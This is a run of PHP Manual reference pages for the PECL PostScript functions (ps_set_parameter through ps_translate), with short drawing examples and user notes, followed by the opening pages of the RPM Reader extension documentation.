The value of the information field. The field Orientation can be set to either Portrait or Landscape. The BoundingBox is a string consisting of four numbers. The first two numbers are the coordinates of the lower left corner of the page. The last two numbers are the coordinates of the upper right corner.

Note:

Up to version 0.2.6 of pslib, the BoundingBox and Orientation will be overwritten by ps_begin_page(), unless ps_findfont() has been called before.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_findfont() - Loads a font
  • ps_begin_page() - Start a new page

User Contributed Notes

There are no user contributed notes for this page.


Sets certain parameters

  • « ps_set_info
  • ps_set_text_pos »
  • PHP Manual
  • PS Functions
  • Sets certain parameters

ps_set_parameter

(PECL ps >= 1.1.0)

ps_set_parameter — Sets certain parameters

Description

bool ps_set_parameter ( resource $psdoc , string $name , string $value )

Sets several parameters which are used by many functions. Parameters are by definition string values.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

For a list of possible names see ps_get_parameter().

value

The value of the parameter.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_get_parameters()
  • ps_set_value() - Sets certain values

User Contributed Notes

php at catchall dot toao dot net 12-Jun-2009 05:54
Note that when setting a parameter such as "true" or "false", in this case "true" and "false" are strings.
Correct syntax would be:
<?php ps_set_parameter($ps, "linebreak", "true"); ?>
This does NOT work:
<?php ps_set_parameter($ps, "linebreak", true); ?>


Sets position for text output

  • « ps_set_parameter
  • ps_set_value »
  • PHP Manual
  • PS Functions
  • Sets position for text output

ps_set_text_pos

(PECL ps >= 1.1.0)

ps_set_text_pos — Sets position for text output

Description

bool ps_set_text_pos ( resource $psdoc , float $x , float $y )

Set the position for the next text output. You may alternatively set the x and y value separately by calling ps_set_value() and choosing textx respectively texty as the value name.

If you want to output text at a certain position it is more convenient to use ps_show_xy() instead of setting the text position and calling ps_show().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the new text position.

y

y-coordinate of the new text position.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Placing text at a given position

<?php
$ps = ps_new();
if (!ps_open_file($ps, "text.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Text placement example");

ps_begin_page($ps, 596, 842);
$psfont = ps_findfont($ps, "Helvetica", "", 0);
ps_setfont($ps, $psfont, 8.0);
ps_show_xy($ps, "Some text at (100, 100)", 100, 100);

ps_set_value($ps, "textx", 100);
ps_set_value($ps, "texty", 120);
ps_show($ps, "Some text at (100, 120)");
ps_end_page($ps);

ps_delete($ps);
?>

See Also

  • ps_set_value() - Sets certain values
  • ps_show() - Output text

User Contributed Notes

There are no user contributed notes for this page.


Sets certain values

  • « ps_set_text_pos
  • ps_setcolor »
  • PHP Manual
  • PS Functions
  • Sets certain values

ps_set_value

(PECL ps >= 1.1.0)

ps_set_value — Sets certain values

Description

bool ps_set_value ( resource $psdoc , string $name , float $value )

Sets several values which are used by many functions. Parameters are by definition float values.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

The name can be one of the following:

textrendering

The way how text is shown.

textx

The x coordinate for text output.

texty

The y coordinate for text output.

wordspacing

The distance between words relative to the width of a space.

leading

The distance between lines in pixels.

value

The value of the parameter.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_get_value() - Gets certain values
  • ps_set_parameter() - Sets certain parameters

User Contributed Notes

There are no user contributed notes for this page.


Sets current color

  • « ps_set_value
  • ps_setdash »
  • PHP Manual
  • PS Functions
  • Sets current color

ps_setcolor

(PECL ps >= 1.1.0)

ps_setcolor — Sets current color

Description

bool ps_setcolor ( resource $psdoc , string $type , string $colorspace , float $c1 , float $c2 , float $c3 , float $c4 )

Sets the color for drawing, filling, or both.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The parameter type can be both, fill, or fillstroke.

colorspace

The colorspace should be one of gray, rgb, cmyk, spot, pattern. Depending on the colorspace either only the first, the first three or all parameters will be used.

c1

Depending on the colorspace this is either the red component (rgb), the cyan component (cmyk), the gray value (gray), the identifier of the spot color or the identifier of the pattern.

c2

Depending on the colorspace this is either the green component (rgb), the magenta component (cmyk).

c3

Depending on the colorspace this is either the blue component (rgb), the yellow component (cmyk).

c4

This must only be set in cmyk colorspace and specifies the black component.

Bugs

The second parameter is currently not always evaluated. The color is sometimes set for filling and drawing just as if fillstroke were passed.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 05:29
Note that if you specify colors in RGB, the parameters C1, C2, and C3 should be specified in decimal form.  To calculate this, divide the value by 255.  Example: rgb(58,110,165) becomes <?php ps_setcolor($ps, "stroke", "rgb", .23, .43, .65, 0.0); ?>

However, since this is PostScript, most if not all files will be destined for printing and colors should be specified in CMYK anyway.


Sets appearance of a dashed line

  • « ps_setcolor
  • ps_setflat »
  • PHP Manual
  • PS Functions
  • Sets appearance of a dashed line

ps_setdash

(PECL ps >= 1.1.0)

ps_setdash — Sets appearance of a dashed line

Description

bool ps_setdash ( resource $psdoc , float $on , float $off )

Sets the length of the black and white portions of a dashed line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

on

The length of the dash.

off

The length of the gap between dashes.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setpolydash() - Sets appearance of a dashed line

User Contributed Notes

There are no user contributed notes for this page.


Sets flatness

  • « ps_setdash
  • ps_setfont »
  • PHP Manual
  • PS Functions
  • Sets flatness

ps_setflat

(PECL ps >= 1.1.0)

ps_setflat — Sets flatness

Description

bool ps_setflat ( resource $psdoc , float $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

value

The value must be between 0.2 and 1.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sets font to use for following output

  • « ps_setflat
  • ps_setgray »
  • PHP Manual
  • PS Functions
  • Sets font to use for following output

ps_setfont

(PECL ps >= 1.1.0)

ps_setfont — Sets font to use for following output

Description

bool ps_setfont ( resource $psdoc , int $fontid , float $size )

Sets a font, which has to be loaded before with ps_findfont(). Outputting text without setting a font results in an error.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

fontid

The font identifier as returned by ps_findfont().

size

The size of the font.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_findfont() - Loads a font
  • ps_set_text_pos() - Sets position for text output for an example.

User Contributed Notes

There are no user contributed notes for this page.


Sets gray value

  • « ps_setfont
  • ps_setlinecap »
  • PHP Manual
  • PS Functions
  • Sets gray value

ps_setgray

(PECL ps >= 1.1.0)

ps_setgray — Sets gray value

Description

bool ps_setgray ( resource $psdoc , float $gray )

Sets the gray value for all following drawing operations.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

gray

The value must be between 0 (white) and 1 (black).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setcolor() - Sets current color

User Contributed Notes

There are no user contributed notes for this page.


Sets appearance of line ends

  • « ps_setgray
  • ps_setlinejoin »
  • PHP Manual
  • PS Functions
  • Sets appearance of line ends

ps_setlinecap

(PECL ps >= 1.1.0)

ps_setlinecap — Sets appearance of line ends

Description

bool ps_setlinecap ( resource $psdoc , int $type )

Sets how line ends look like.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of line ends. Possible values are PS_LINECAP_BUTT, PS_LINECAP_ROUND, or PS_LINECAP_SQUARED.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setlinewidth() - Sets width of a line
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.


Sets how contected lines are joined

  • « ps_setlinecap
  • ps_setlinewidth »
  • PHP Manual
  • PS Functions
  • Sets how contected lines are joined

ps_setlinejoin

(PECL ps >= 1.1.0)

ps_setlinejoin — Sets how contected lines are joined

Description

bool ps_setlinejoin ( resource $psdoc , int $type )

Sets how lines are joined.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The way lines are joined. Possible values are PS_LINEJOIN_MITER, PS_LINEJOIN_ROUND, or PS_LINEJOIN_BEVEL.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinewidth() - Sets width of a line
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.


Sets width of a line

  • « ps_setlinejoin
  • ps_setmiterlimit »
  • PHP Manual
  • PS Functions
  • Sets width of a line

ps_setlinewidth

(PECL ps >= 1.1.0)

ps_setlinewidth — Sets width of a line

Description

bool ps_setlinewidth ( resource $psdoc , float $width )

Sets the line width for all following drawing operations.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of lines in points.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.


Sets the miter limit

  • « ps_setlinewidth
  • ps_setoverprintmode »
  • PHP Manual
  • PS Functions
  • Sets the miter limit

ps_setmiterlimit

(PECL ps >= 1.1.0)

ps_setmiterlimit — Sets the miter limit

Description

bool ps_setmiterlimit ( resource $psdoc , float $value )

If two lines join in a small angle and the line join is set to PS_LINEJOIN_MITER, then the resulting spike will be very long. The miter limit is the maximum ratio of the miter length (the length of the spike) and the line width.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

value

The maximum ratio between the miter length and the line width. Larger values (> 10) will result in very long spikes when two lines meet in a small angle. Keep the default unless you know what you are doing.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setlinewidth() - Sets width of a line

User Contributed Notes

There are no user contributed notes for this page.


Sets overprint mode

  • « ps_setmiterlimit
  • ps_setpolydash »
  • PHP Manual
  • PS Functions
  • Sets overprint mode

ps_setoverprintmode

(PECL ps >= 1.3.0)

ps_setoverprintmode — Sets overprint mode

Description

bool ps_setoverprintmode ( resource $psdoc , int $mode )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

mode

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sets appearance of a dashed line

  • « ps_setoverprintmode
  • ps_shading_pattern »
  • PHP Manual
  • PS Functions
  • Sets appearance of a dashed line

ps_setpolydash

(PECL ps >= 1.1.0)

ps_setpolydash — Sets appearance of a dashed line

Description

bool ps_setpolydash ( resource $psdoc , float $arr )

Sets the length of the black and white portions of a dashed line. ps_setpolydash() is used to set more complicated dash patterns.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

arr

arr is a list of length elements alternately for the black and white portion.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Drawing a dashed line

<?php
$ps = ps_new();
if (!ps_open_file($ps, "polydash.ps")) {
   print "Cannot open PostScript file\n";
     exit;
}

ps_set_info($ps, "Creator", "polydash.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Poly dash example");

ps_begin_page($ps, 596, 842);
ps_setpolydash($ps, array(10, 5, 2, 5));
ps_moveto($ps, 100, 100);
ps_lineto($ps, 200, 200);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

This example draws a line with a 10 and 2 points long line, and gaps of 5 points inbetween.

See Also

  • ps_setdash() - Sets appearance of a dashed line

User Contributed Notes

There are no user contributed notes for this page.


Creates a pattern based on a shading

  • « ps_setpolydash
  • ps_shading »
  • PHP Manual
  • PS Functions
  • Creates a pattern based on a shading

ps_shading_pattern

(PECL ps >= 1.3.0)

ps_shading_pattern — Creates a pattern based on a shading

Description

int ps_shading_pattern ( resource $psdoc , int $shadingid , string $optlist )

Creates a pattern based on a shading, which has to be created before with ps_shading(). Shading patterns can be used like regular patterns.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

shadingid

The identifier of a shading previously created with ps_shading().

optlist

This argument is not currently used.

Return Values

The identifier of the pattern or FALSE on failure.

See Also

  • ps_shading() - Creates a shading for later use
  • ps_shfill() - Fills an area with a shading

User Contributed Notes

There are no user contributed notes for this page.


Creates a shading for later use

  • « ps_shading_pattern
  • ps_shfill »
  • PHP Manual
  • PS Functions
  • Creates a shading for later use

ps_shading

(PECL ps >= 1.3.0)

ps_shading — Creates a shading for later use

Description

int ps_shading ( resource $psdoc , string $type , float $x0 , float $y0 , float $x1 , float $y1 , float $c1 , float $c2 , float $c3 , float $c4 , string $optlist )

Creates a shading, which can be used by ps_shfill() or ps_shading_pattern().

The color of the shading can be in any color space except for pattern.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of shading can be either radial or axial. Each shading starts with the current fill color and ends with the given color values passed in the parameters c1 to c4 (see ps_setcolor() for their meaning).

x0, x1, y0, y1

The coordinates x0, y0, x1, y1 are the start and end point of the shading. If the type of shading is radial the two points are the middle points of a starting and ending circle.

c1, c2, c3, c4

See ps_setcolor() for their meaning.

optlist

If the shading is of type radial the optlist must also contain the parameters r0 and r1 with the radius of the start and end circle.

Return Values

Returns the identifier of the pattern or FALSE on failure.

See Also

  • ps_shading_pattern() - Creates a pattern based on a shading
  • ps_shfill() - Fills an area with a shading

User Contributed Notes

There are no user contributed notes for this page.


Fills an area with a shading

  • « ps_shading
  • ps_show_boxed »
  • PHP Manual
  • PS Functions
  • Fills an area with a shading

ps_shfill

(PECL ps >= 1.3.0)

ps_shfill — Fills an area with a shading

Description

bool ps_shfill ( resource $psdoc , int $shadingid )

Fills an area with a shading, which has to be created before with ps_shading(). This is an alternative way to creating a pattern from a shading ps_shading_pattern() and using the pattern as the filling color.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

shadingid

The identifier of a shading previously created with ps_shading().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_shading() - Creates a shading for later use
  • ps_shading_pattern() - Creates a pattern based on a shading

User Contributed Notes

There are no user contributed notes for this page.


Output text in a box

  • « ps_shfill
  • ps_show_xy2 »
  • PHP Manual
  • PS Functions
  • Output text in a box

ps_show_boxed

(PECL ps >= 1.1.0)

ps_show_boxed — Output text in a box

Description

int ps_show_boxed ( resource $psdoc , string $text , float $left , float $bottom , float $width , float $height , string $hmode [, string $feature ] )

Outputs a text in a given box. The lower left corner of the box is at (left, bottom). Line breaks will be inserted where needed. Multiple spaces are treated as one. Tabulators are treated as spaces.

The text will be hyphenated if the parameter hyphenation is set to TRUE and the parameter hyphendict contains a valid filename for a hyphenation file. The line spacing is taken from the value leading. Paragraphs can be separated by an empty line just like in TeX. If the value parindent is set to value > 0.0 then the first n lines will be indented. The number n of lines is set by the parameter numindentlines. In order to prevent indenting of the first m paragraphs set the value parindentskip to a positive number.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output into the given box.

left

x-coordinate of the lower left corner of the box.

bottom

y-coordinate of the lower left corner of the box.

width

Width of the box.

height

Height of the box.

hmode

The parameter hmode can be "justify", "fulljustify", "right", "left", or "center". The difference of "justify" and "fulljustify" just affects the last line of the box. In fulljustify mode the last line will be left and right justified unless this is also the last line of paragraph. In justify mode it will always be left justified.

feature

Used parameters

The output of ps_show_boxed() can be configured with several parameters and values which must be set with either ps_set_parameter() or ps_set_value(). Beside the parameters and values which affect text output, the following parameters and values are evaluated.

leading (value)

Distance between baselines of two consecutive lines.

linebreak (parameter)

Set to "true" if you want a carriage return to start a new line instead of treating it as a space. Defaults to "false".

parbreak (parameter)

Set to "true" if you want a carriage return on a single line to start a new paragraph instead of treating it as a space. Defaults to "true".

hyphenation (parameter)

Set to "true" in order to turn hyphenation on. This requires a dictionary to be set with the parameter "hyphendict". Defaults to "false".

hyphendict (parameter)

Filename of the dictionary used for hyphenation pattern (see below).

hyphenminchar (value)

The number of chars which must at least be left over before or after the hyphen. This implies that only words of at least two times this value will be hyphenated. The default value is three. Setting a value of zero will result in the default value.

parindent (value)

Set the amount of space in pixel for indenting the first m lines of a paragraph. m can be set with the value "numindentlines".

parskip (value)

Set the amount of extra space in pixel between paragraphs. Defaults to 0 which will result in a normal line distance.

numindentlines (value)

Number of lines from the start of the paragraph which will be indented. Defaults to 1.

parindentskip (value)

Number of paragraphs in the box whose first lines will not be indented. This defaults to 0. This is useful for paragraphs right after a section heading or text being continued in a second box. In both case one would set this to 1.

linenumbermode (parameter)

Set how lines are to be numbered. Possible values are "box" for numbering lines in the whole box or "paragraph" to number lines within each paragraph.

linenumberspace (value)

The space for the column left of the numbered line containing the line number. The line number will be right justified into this column. Defaults to 20.

linenumbersep (value)

The space between the column with line numbers and the line itself. Defaults to 5.

Hyphenation

Text is hyphenated if the parameter hyphenation is set to true and a valid hyphenation dictionary is set. pslib does not ship its own hyphenation dictionary but uses one from openoffice, scribus or koffice. You can find their dictionaries for different languages in one of the following directories if the software is installed:

  • /usr/share/apps/koffice/hyphdicts/
  • /usr/lib/scribus/dicts/
  • /usr/lib/openoffice/share/dict/ooo/
Currently scribus appears to have the most complete hyphenation dictionaries.

Return Values

Number of characters that could not be written.

See Also

  • ps_continue_text() - Continue text in next line

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 12:45
In order to justify text in the way a word processor would, one must set 'linebreak' to 'false' and 'parbreak' to 'true'.  For every new line, you must use "\n\n" (two newlines, NOT carriage returns as stated in the docs).  If you wish to make two new lines in your finished document, "\n\n\n\n" will not work.  Instead, you must use "\n\n \n\n".

For every line to be justified, you should append "\n " (new line and a space) to the end of the text.  For this to work, 'linebreak' must be 'true'.
tilman dot schroeder at gmx dot de 01-Jan-2007 04:52
Note that there will no box be drawn around the text even if the function name suggests this.

After the box has been drawn you can get the new x and y position with

<?php
$x=ps_get_value($ps,'textx',NULL);
$y=ps_get_value($ps,'texty',NULL);
?>

textx points to the end of the last character written by ps_show_boxed and texty points to the baseline of the last line written (which means, if there is e.g. a 'g' in the last line then the lower part's y-coordinates of the g will be lower than the value of texty. I hope you understand what I meant)


Output text at position

  • « ps_show_boxed
  • ps_show_xy »
  • PHP Manual
  • PS Functions
  • Output text at position

ps_show_xy2

(PECL ps >= 1.1.0)

ps_show_xy2 — Output text at position

Description

bool ps_show_xy2 ( resource $psdoc , string $text , int $len , float $xcoor , float $ycoor )

Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Output text at given position

  • « ps_show_xy2
  • ps_show2 »
  • PHP Manual
  • PS Functions
  • Output text at given position

ps_show_xy

(PECL ps >= 1.1.0)

ps_show_xy — Output text at given position

Description

bool ps_show_xy ( resource $psdoc , string $text , float $x , float $y )

Output a text at the given text position.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output.

x

x-coordinate of the lower left corner of the box surrounding the text.

y

y-coordinate of the lower left corner of the box surrounding the text.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_continue_text() - Continue text in next line
  • ps_show() - Output text

User Contributed Notes

There are no user contributed notes for this page.


Output a text at current position

  • « ps_show_xy
  • ps_show »
  • PHP Manual
  • PS Functions
  • Output a text at current position

ps_show2

(PECL ps >= 1.1.0)

ps_show2 — Output a text at current position

Description

bool ps_show2 ( resource $psdoc , string $text , int $len )

Output text at the current position. Do not print more than len characters.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output.

len

The maximum number of characters to print.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Output text

  • « ps_show2
  • ps_string_geometry »
  • PHP Manual
  • PS Functions
  • Output text

ps_show

(PECL ps >= 1.1.0)

ps_show — Output text

Description

bool ps_show ( resource $psdoc , string $text )

Output a text at the current text position. The text position can be set by storing the x and y coordinates into the values textx and texty with the function ps_set_value(). The function will issue an error if a font was not set before with ps_setfont().

ps_show() evaluates the following parameters and values as set by ps_set_parameter() and ps_set_value().

charspacing (value)

Distance between two consecutive glyphs. If this value is unequal to zero then all ligatures will be resolved. Values less than zero are allowed.

kerning (parameter)

Setting this parameter to "false" will turn off kerning. Kerning is turned on by default.

ligatures (parameter)

Setting this parameter to "false" will turn off the use of ligatures. Ligatures are turned on by default.

underline (parameter)

Setting this parameter to "true" will turn on underlining. Underlining is turned off by default.

overline (parameter)

Setting this parameter to "true" will turn on overlining. Overlining is turned off by default.

strikeout (parameter)

Setting this parameter to "true" will turn on striking out. Striking out is turned off by default.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_continue_text() - Continue text in next line
  • ps_show_xy() - Output text at given position
  • ps_setfont() - Sets font to use for following output

User Contributed Notes

There are no user contributed notes for this page.


Gets geometry of a string

  • « ps_show
  • ps_stringwidth »
  • PHP Manual
  • PS Functions
  • Gets geometry of a string

ps_string_geometry

(PECL ps >= 1.2.0)

ps_string_geometry — Gets geometry of a string

Description

array ps_string_geometry ( resource $psdoc , string $text [, int $fontid = 0 [, float $size = 0.0 ]] )

This function is similar to ps_stringwidth() but returns an array of dimensions containing the width, ascender, and descender of the text.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text for which the geometry is to be calculated.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

Return Values

An array of the dimensions of a string. The element 'width' contains the width of the string as returned by ps_stringwidth(). The element 'descender' contains the maximum descender and 'ascender' the maximum ascender of the string.

See Also

  • ps_continue_text() - Continue text in next line
  • ps_stringwidth() - Gets width of a string

User Contributed Notes

There are no user contributed notes for this page.


Gets width of a string

  • « ps_string_geometry
  • ps_stroke »
  • PHP Manual
  • PS Functions
  • Gets width of a string

ps_stringwidth

(PECL ps >= 1.1.0)

ps_stringwidth — Gets width of a string

Description

float ps_stringwidth ( resource $psdoc , string $text [, int $fontid = 0 [, float $size = 0.0 ]] )

Calculates the width of a string in points if it was output in the given font and font size. This function needs an Adobe font metrics file to calculate the precise width. If kerning is turned on, it will be taken into account.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text for which the width is to be calculated.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

Return Values

Width of a string in points.

See Also

  • ps_string_geometry() - Gets geometry of a string

User Contributed Notes

There are no user contributed notes for this page.


Draws the current path

  • « ps_stringwidth
  • ps_symbol_name »
  • PHP Manual
  • PS Functions
  • Draws the current path

ps_stroke

(PECL ps >= 1.1.0)

ps_stroke — Draws the current path

Description

bool ps_stroke ( resource $psdoc )

Draws the path constructed with previously called drawing functions like ps_lineto().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_closepath_stroke() - Closes and strokes path
  • ps_fill() - Fills the current path
  • ps_fill_stroke() - Fills and strokes the current path

User Contributed Notes

There are no user contributed notes for this page.


Gets name of a glyph

  • « ps_stroke
  • ps_symbol_width »
  • PHP Manual
  • PS Functions
  • Gets name of a glyph

ps_symbol_name

(PECL ps >= 1.2.0)

ps_symbol_name — Gets name of a glyph

Description

string ps_symbol_name ( resource $psdoc , int $ord [, int $fontid = 0 ] )

This function needs an Adobe font metrics file to know which glyphs are available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The parameter ord is the position of the glyph in the font encoding vector.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

Return Values

The name of a glyph in the given font.

See Also

  • ps_symbol() - Output a glyph
  • ps_symbol_width() - Gets width of a glyph

User Contributed Notes

There are no user contributed notes for this page.


Gets width of a glyph

  • « ps_symbol_name
  • ps_symbol »
  • PHP Manual
  • PS Functions
  • Gets width of a glyph

ps_symbol_width

(PECL ps >= 1.2.0)

ps_symbol_width — Gets width of a glyph

Description

float ps_symbol_width ( resource $psdoc , int $ord [, int $fontid = 0 [, float $size = 0.0 ]] )

Calculates the width of a glyph in points if it was output in the given font and font size. This function needs an Adobe font metrics file to calculate the precise width.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The position of the glyph in the font encoding vector.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

Return Values

The width of a glyph in points.

See Also

  • ps_symbol() - Output a glyph
  • ps_symbol_name() - Gets name of a glyph

User Contributed Notes

There are no user contributed notes for this page.


Output a glyph

  • « ps_symbol_width
  • ps_translate »
  • PHP Manual
  • PS Functions
  • Output a glyph

ps_symbol

(PECL ps >= 1.2.0)

ps_symbol — Output a glyph

Description

bool ps_symbol ( resource $psdoc , int $ord )

Output the glyph at position ord in the font encoding vector of the current font. The font encoding for a font can be set when loading the font with ps_findfont().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The position of the glyph in the font encoding vector.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_symbol_name() - Gets name of a glyph
  • ps_symbol_width() - Gets width of a glyph

User Contributed Notes

There are no user contributed notes for this page.


Sets translation

  • « ps_symbol
  • RPM Reader »
  • PHP Manual
  • PS Functions
  • Sets translation

ps_translate

(PECL ps >= 1.1.0)

ps_translate — Sets translation

Description

bool ps_translate ( resource $psdoc , float $x , float $y )

Sets a new initial point of the coordinate system.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the origin of the translated coordinate system.

y

y-coordinate of the origin of the translated coordinate system.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Translation of the coordinate system

<?php
function rectangle($ps) {
    ps_moveto($ps, 0, 0);
    ps_lineto($ps, 0, 50);
    ps_lineto($ps, 50, 50);
    ps_lineto($ps, 50, 0);
    ps_lineto($ps, 0, 0);
    ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "translate.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "translate.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Translated example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_translate($ps, -500, -750);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text at initial position");
ps_end_page($ps);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text at initial position");
ps_end_page($ps);

ps_delete($ps);
?>

The above example demonstrates two possible ways to place a graphic (in this case just a rectangle) at any position on the page, while the graphic itself uses its own coordinate system. The trick is to change the origin of the current coordinate system before drawing the rectangle. The translation has to be undone after the graphic has been drawn.

On the second page a slightly different and more elegant approach is applied. Instead of undoing the translation with a second call of ps_translate() the graphics context is saved before modifying the coordinate system and restored after drawing the rectangle.

See Also

  • ps_scale() - Sets scaling factor
  • ps_rotate() - Sets rotation factor

User Contributed Notes

There are no user contributed notes for this page.


RPM Header Reading

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • RPM Reader Functions
    • rpm_close — Closes an RPM file
    • rpm_get_tag — Retrieves a header tag from an RPM file
    • rpm_is_valid — Tests a filename for validity as an RPM file
    • rpm_open — Opens an RPM file
    • rpm_version — Returns a string representing the current version of the rpmreader extension

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This module allows you to read the meta information stored in the headers of a » RedHat Package Manager (» RPM) file.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The RPMReader extension requires PHP 5.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/rpmreader.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There is one resource type used by the RPMReader module. The resource is a file pointer which identifies the RPM file with which to work.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following list of constants are used to obtain information using the rpm_get_tag() function. These constants represent the tag number to be retrieved from the RPM file's header section. Descriptions are given below as to what data the tag number constants reference.

RPMREADER_MINIMUM (integer)
The minimum valid value of any RPM tag number.
RPMREADER_NAME (integer)
The name of the RPM package.
RPMREADER_VERSION (integer)
The version of the RPM package.
RPMREADER_RELEASE (integer)
The release of the RPM package.
RPMREADER_EPOCH (integer)
RPMREADER_SERIAL (integer)
RPMREADER_SUMMARY (integer)
The summary text of the RPM package.
RPMREADER_DESCRIPTION (integer)
The full description text of the RPM package.
RPMREADER_BUILDTIME (integer)
The date and time when the RPM package was built.
RPMREADER_BUILDHOST (integer)
The name of the host on which the RPM package was built.
RPMREADER_INSTALLTIME (integer)
RPMREADER_SIZE (integer)
The size of the RPM package.
RPMREADER_DISTRIBUTION (integer)
RPMREADER_VENDOR (integer)
RPMREADER_GIF (integer)
RPMREADER_XPM (integer)
RPMREADER_LICENSE (integer)
RPMREADER_COPYRIGHT (integer)
RPMREADER_PACKAGER (integer)
RPMREADER_GROUP (integer)
RPMREADER_SOURCE (integer)
RPMREADER_PATCH (integer)
RPMREADER_URL (integer)
RPMREADER_OS (integer)
RPMREADER_ARCH (integer)
